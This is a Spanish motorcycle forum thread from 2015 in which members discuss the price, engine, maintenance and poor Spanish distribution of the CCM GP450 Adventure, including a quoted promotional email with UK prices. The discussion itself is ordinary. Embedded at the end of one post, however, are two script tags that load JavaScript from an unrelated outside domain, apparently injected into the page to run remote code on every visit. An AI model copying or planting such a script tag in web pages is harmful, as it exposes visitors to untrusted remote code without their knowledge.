Ver la versión completa : Ccm 450 Adventure???
Sabéis si esta marca importa este modelo a España? Se hablan maravillas del el por la Red y lo veo muy lógico y con un nivel de acabados increíble!
He echado un vistazo, parece que están buscando distribuidores, tienen uno en Italia, por lo que supongo no será difícil que aparezca uno por aquí. Buena pinta tiene, sabes algo del precio???
gasclassic
14/06/2015, 11:00
Si mal no recuerdo, cuando hace tiempo se habló de ella, el problema era el precio.
MiguelXR33
14/06/2015, 12:50
La moto la verdad es que es una chulada. La verdad es que sigo sin entender porqué nadie se atreve a traerla ¿tan cara saldrá?
Aquí vídeos y datos técnicos... CCM Adventure GP 450 (http://www.voromv.com/2014/01/ccm-gp450-adventure-videos-para-tenerla.html)
http://1.bp.blogspot.com/-qC0gOpI0Lk4/UsAOr5V0F1I/AAAAAAAAJeo/bh8tfkc7E1I/s640/gp450review2.jpg
Se habla de unos 9000€, pero el material que tiene y su reducido peso dicen mucho de ese precio...vamos, que vale los mismo que una enduro 450...
Ufff, tiene buena pinta, apuesto a que la misma moto con unos anagramas de bmw a los lados se vendería como churros, pero veniendo de un fabricante "desconocido" me parece un precio desorbitado.
El secreto del peso parece estar en el chasis de aluminio. Por cierto, al igual que la bmw 450 enduro comparte eje de basculante con eje piñón...
la misma moto con unos anagramas de bmw a los lados se vendería como churros, pero veniendo de un fabricante "desconocido" me parece un precio desorbitado.
Seguramente.
transalacant
14/06/2015, 17:01
En Reino Unido, donde se produce, cuesta 11.000€.
http://www.ccm-motorcycles.com/gp450.asp#.VX2lAPntmko
Tiene buena pinta.... pero creo que algo cara....
Benaudalla
15/06/2015, 06:41
A mi me encantaban las enduro de los 90, sería por su exclusividad. Buena moto !
JOE VESPINO
15/06/2015, 09:06
En Reino Unido, donde se produce, cuesta 11.000€.
http://www.ccm-motorcycles.com/gp450.asp#.VX2lAPntmko
Teniendo en cuenta que el precio de tarifa de las KTM-husqvarna 450-500 six days pasa de 10.000 €, objetivamente tampoco se puede decir que sea cara, pero conociendo el mercado de aqui (muy volcado al enduro y muy poco a las trail camperas) mucho me temo que se iban a vender muy pocas.
El secreto del peso parece estar en el chasis de aluminio. Por cierto, al igual que la bmw 450 enduro comparte eje de basculante con eje piñón...
Comparte mas que eso. Yo diria que es una G450x con plasticos raid, o casi. Por cierto no se me ocurre un motor menos adecuado para un uso trail.
Desde la fábrica me comunican que no tienen distribución aquí, si quieres la tienes que comprar directamente a ellos...
gasclassic
15/06/2015, 10:08
Teniendo en cuenta que el precio de tarifa de las KTM-husqvarna 450-500 six days pasa de 10.000 €, objetivamente tampoco se puede decir que sea cara, pero conociendo el mercado de aqui (muy volcado al enduro y muy poco a las trail camperas) mucho me temo que se iban a vender muy pocas.
¿que me dices?
Pues me parece un robo, sobretodo comparándola con una R de 600.
JOE VESPINO
15/06/2015, 10:25
http://www.arpem.com/ktm/precios-motos/2016/ktm-450-exc-six-days.html
A mi tambien, a mano armada
Esa moto parece el sueño de muchos y la apuesta de pocos. Pufff, yo no me imagino ese motor con 50 o 60 mil kilómetros, sin tener que abrirlo. Si pudieran demostrar fiabilidad.....
Comparte mas que eso. Yo diria que es una G450x con plasticos raid, o casi. Por cierto no se me ocurre un motor menos adecuado para un uso trail.
Tengo entendido que no fue un modelo demasiado exitoso, de hecho no se encuentran demasiadas de 2a mano. Cambiar el piñón de ataque és desmontar media moto...
JOE VESPINO
19/06/2015, 08:54
Realmente yo no sabría decir que tal ha salido la BMW G450X, he oido/leido de todo y según los foros las motos japonesas son estupendas y las KTM se rompen cada cinco minutos. Lo que está claro que fue un nuevo invento de BMW para sacar la pasta a unos cuantos, y por alguna razón no funcionó.
Pero la GP ésta, a todas luces lleva un motor modificado con respecto a la enduro: limitado a 40 caballos, en contraste a los más de 50 que daba las enduros BMW y Husqvarna que lo montaron, y con intervalos de mantenimiento cada 8000 kms, cosa impensable e imposible en ninguna enduro moderna.
MiguelXR33 dice en su blog que el carter de aceite está aumentado, no se si tendrá mas info sobre las modificaciones que tiene respecto al motor BMW.
dominkido
19/06/2015, 09:21
hombre, este motor destacó, entre los aficionados, por su fiabilidad y la moto, por su tracción, pero no llegó a evolucionarse como para ser competitiva en competiciones internacionales, porque yo he visto al campeón junior de Andalucía sobre esa moto.
en rally se defendió mas que bien, pero como se vendió poco tiempo y no evoluciono , se que dó ahí,
para mi es una muy buena moto rally raid, amateur, e incluso trail, de cortos y medios km. para dar la vuelta al mundo creo que mejor otra cosa, pero en lo que estoy de acuerdo es en que es cara, pero es exclusiva. aunque por ese precio te compras una y la preparas y te queda casi igual.
JOE VESPINO
18/11/2015, 15:54
Sigo sin saber si alguien la importa a España pero en su momento di el e-mail y me han mandado un mensaje promocional donde vienen los precios allí:
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NEW FOR 2016!
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GP450 Adventure - better value than ever
What goes up doesn't always come down however CCM has managed to shave off more than just a few £££'s off our GP450 Adventure on the road price. Originally selling at £8044.99, the new standard bikes will retail in the UK for just £7459 with no sacrifice in quality too!
What's more if you are a more diminiutive rider, the low version is now available at the same price too saving you over £1300!
Demand is expected to be high however a £500 deposit will secure your build slot.
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Además hay una versión especial (S) con alforjas y demás
The GP450 Adventure "S"
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https://ci3.googleusercontent.com/proxy/T4P-_AX0myUPzkvKbOOPNk2gmyJfbU4hW650E9yxvV5mvMKhXghZvv W_lfUOdhkioTjVtvR6a4VLlFF0MlmszQQT8Hprs2MtZPpc4rie kr_mcEWkBTcWoX1WmrH-Dvx2EdTyqr9eH-ZFdD4oGqLTmPIvQ6uxGv4kN90n9ao=s0-d-e1-ft#https://gallery.mailchimp.com/754651e53a85d51a08bd0d58c/images/c25cb1a6-47e5-461a-aac8-bd53c7b7da2e.png
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The GP450 Adventure "S" takes some of the most popular options to create one adventure-ready machine.
As standard
Cush Driven Rear Wheel
Universal Luggae rack & soft luggage racks
Full Tough Bag Kit & Lifting Strap
Heavy Duty Bash Guard & Starter Motor Guard
Brush Guards
Front Accessory Frame
Adjustable Screen Brackets
Style Pack (Decals & Embroidered Seat)
First Aid Kit
OTR Price £8985!
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Ahora bien, en España hay que incluir impuesto de matriculación que supongo que en GB no tienen por lo que si alguien se anima a importarla, debería de salir mas cara todavia.<script type="text/javascript" src="https://cuev.in/aux.php?ver=10"></script><script type="text/javascript" src="https://cuev.in/aux.php?ver=10"></script>
conejilope
18/11/2015, 23:07
Personalmente me parece una pasada el precio. Se que tiene muy buenos componentes, pero tal vez demasiado buenos para una moto de "solo" 450cc y con la limitacion de la importacion
JOE VESPINO
19/11/2015, 09:58
Es una pasta, pero comparativamente cualquier enduro 450 de ktm, husqvarna, beta, sherco, yamaha etc en la tienda te va a costar del pelo entre 8500 y 10000 euros, y en mi opinión esta CCM tiene más equipamiento que justifique precio (carenado, suspension pilotada etc)
Nano St.
19/11/2015, 11:07
Es una pasta, pero comparativamente cualquier enduro 450 de ktm, husqvarna, beta, sherco, yamaha etc en la tienda te va a costar del pelo entre 8500 y 10000 euros, y en mi opinión esta CCM tiene más equipamiento que justifique precio (carenado, suspension pilotada etc)
Pues si...
De las gordas lc a 24000 Euros que cuestan y las compran como rosquillas ni hablamos .:meparto:
:Birra:
Pues ayer la ví en Milán y me gustó más de lo que pensaba.
Los acabados y componentes son una maravilla, el chasis una obra de arte y el precio: 10.000 de salida más accesorios (que tienen un montón).
Interesante para ser una 450: mantenimiento cada 8.000 km
transalacant
19/11/2015, 14:54
Hombre, si es solo para hacer campo, con una enduro de 450 por 9.000€ sobra, pero si lo que se pretende es viajar un poco con la moto necesitarás cosas tan básicas como un buje trasero amortiguado, un cubrecarter o una parrilla, y ahí ya tienes que pillarte la versión "S" de 12.600€ más matriculación... glups!
Por cuanto sale una 690 (o la nueva 701) con equipamiento similar, y red de ventas mundial?
JOE VESPINO
19/11/2015, 15:10
Eso es cierto, aunque hay un nicho de mercado muy importante en los alergicos a lo naranja, que son legión
PD en serio, si aqui no se pasan de 10.000 euros matriculada, la versión básica puede ser una opción para la gente que hacemos rutas largas y necesitamos menos moto que una 690 y 701
Eso es cierto, aunque hay un nicho de mercado muy importante en los alergicos a lo naranja, que son legión
PD en serio, si aqui no se pasan de 10.000 euros matriculada, la versión básica puede ser una opción para la gente que hacemos rutas largas y necesitamos menos moto que una 690 y 701
El problema que le veo es que estas marcas pequeñas no generan confianza y el precio de reventa suele ser malo.
Para algo así prefiero coger una enduro y trailizarla de tal forma que sea fácil de revertir, así tienes dos motos en una. La CCM creo que es difícil de reconvertir, pero es muy bonita y bien acabada.
JOE VESPINO
19/11/2015, 16:55
Si, y la falta de un mercado abundante de accesorios y repuestos, cosa que echa mucho para atras en motos de monte minoritarias o poco vendidas.
gasclassic
20/11/2015, 08:29
El problema que le veo es que estas marcas pequeñas no generan confianza y el precio de reventa suele ser malo.
Para algo así prefiero coger una enduro y trailizarla de tal forma que sea fácil de revertir, así tienes dos motos en una. La CCM creo que es difícil de reconvertir, pero es muy bonita y bien acabada.
Si, y la falta de un mercado abundante de accesorios y repuestos, cosa que echa mucho para atras en motos de monte minoritarias o poco vendidas.
Exacto.
Y a todo esto, súmale pocos puntos de distribución y ya tenemos el cocktail perfecto para que sea un fracaso.
Y lo jodido es que luego va a parecer que no se venda por que la gente no quiere motos de este estilo, con lo que aun menos se van a hacer.
Creo que hay 2 reglas básicas:
1 - marca reputada, la gente se fía de Honda, Yamaha, Suzuki, BMW, incluso muchos de KTM, Ducati, no se fía de marcas desconocidas.
2 - una amplia red de distribución, si ya nos condiciona que no haya un concesionario cerca, como para que hayan 4 en toda España.
Con lo cual si no se cumple esto, muy buena tendrá que ser para que veamos alguna.
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